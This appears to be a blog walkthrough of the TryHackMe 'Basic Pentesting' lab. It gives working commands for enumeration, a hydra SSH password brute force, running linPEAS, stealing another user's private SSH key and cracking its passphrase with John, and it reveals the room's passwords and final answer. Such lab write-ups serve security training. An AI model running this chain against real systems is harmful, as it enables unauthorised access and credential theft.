TryHackMe - Basic Pentesting Write up

Introduction

This write up will be closely following John Hammonds video but will baby step along using the AttackBox. If you haven’t seen his video already go watch here. The answers will be provided but remember the whole purpose is to learn so make sure to follow along. I will also be explaining what each thing in each command entered means at the very end of the write up. Please reference this as well.

Task 1

This is just deploying the machine, so no answer is needed. I’ll deploy this and the AttackBox and open it in full screen.

Task 2

We are going to start out with the usual NMap scan:

nmap -sC -sV -vv <IP Address>

Unfortunately not too much will be found here that we can use to our advantage. So we will then look to gobuster to help us out next.

gobuster -u <IP Address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir

Task 3

Gobuster’s results will lead us to the answer of this which will be /development

We now want to visit this page and from the file titled “j.txt” we will learn that this user has an easily crackable password but unfortunately we don’t know the username of them yet. This is where enum4linux comes in to help.

enum4linux -a <IP Address>

Task 4, 5 & 9

We will then get the usernames Jan & Kay. Luckily due to our previous discovery we know that Jan has a weak password so we can use hydra to hopefully crack it.

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://<IP Address>

Task 6

Once hydra is successful we will get the password “armando” returned to us.

Task 7

So let’s SSH into the machine.

ssh jan@<IP Address>

You’ll then want to type “yes” followed by the password

Task 8 & 10

Let’s now see what we can discover on this machine, if we navigate to /home/ we can ls and notice we can navigate to /home/kay/. Unfortunately pass.bak is locked so let’s try linPEAs to escalate privilege's.

You’ll first want to install linPEAs so lets use the command:

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Once we have it installed we need to send it over to the machine we are attacking:

scp /opt/PEAS/linPEAS/linpeas.sh jan@<IP Address>:/dev/shm

Get Jaeden Samia’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

We then have to make it executable on Jan’s machine by using

cd /dev/shm

chmod +x linpeas.sh

You can then run it.

./linpeas.sh | tee linlog.txt

linPeas will point out that there is a .ssh directory so lets navigate to it!

(Alternatively instead of running linPEAS you could have discovered this directory by navigating to /home/kay/ then typing in ls -la in which .ssh would appear.

In the .ssh directory we want to cat id_rsa and copy the entire key and put it in a new file you create. If you are unfamiliar with how to create a file use

nano kay_id_rsa

Paste the id_rsa we just copied here.

Make sure to begin with “BEGIN RSA..” and end with “END RSA PRIVATE KEY”

We are now going to need help from John in order to get the password as this key is password protected. To do so we first have to make the file readable by John so lets navigate to his directory and run the tool.

/opt/john/ssh2john.py kay_id_rsa > readable.txt

What we are doing is converting kay_id_rsa to something John understands and then naming the new file readble.txt. Now we want to pass that to John himself,

/opt/john/john readable.txt — wordlist=/usr/share/wordlists/rockyou.txt

Let this run for a bit

(Please note that before wordlist there are two “-” symbols not just one). John will then return the password “beeswax” but we aren’t done yet! Let’s first run the command

chmod 600 kay_id_rsa

This is just setting the id_rsa file’s permissions to readable only. Once you do that we are able to ssh in:

ssh -i kay_id_rsa kay@<IP Address>

From here we are able to type the password “beeswax” and now should have permission to open the pass.bak file, completing the room!

Final Answer: heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Commands

nmap -sC -sV -vv <IP Address>

• -sC means we are using the default scripts to do this command, it would be the same as writing “ — script=default”
• -sV is for detecting the version
• -v is for verbosity level, the more verbosity the more details will be printed

gobuster -u <IP Address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir

• -u this is to set the URL, in this case we are setting the IP address as this
• -w we use this to set what wordlist we’d like to use

enum4linux -a <IP Address>

• -a does all simple enumerations

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://<IP Address>

• -l this is used to set the login name, in this case we used Jan as the username
• -P this sets the password list to try, we are using the popular rockyou file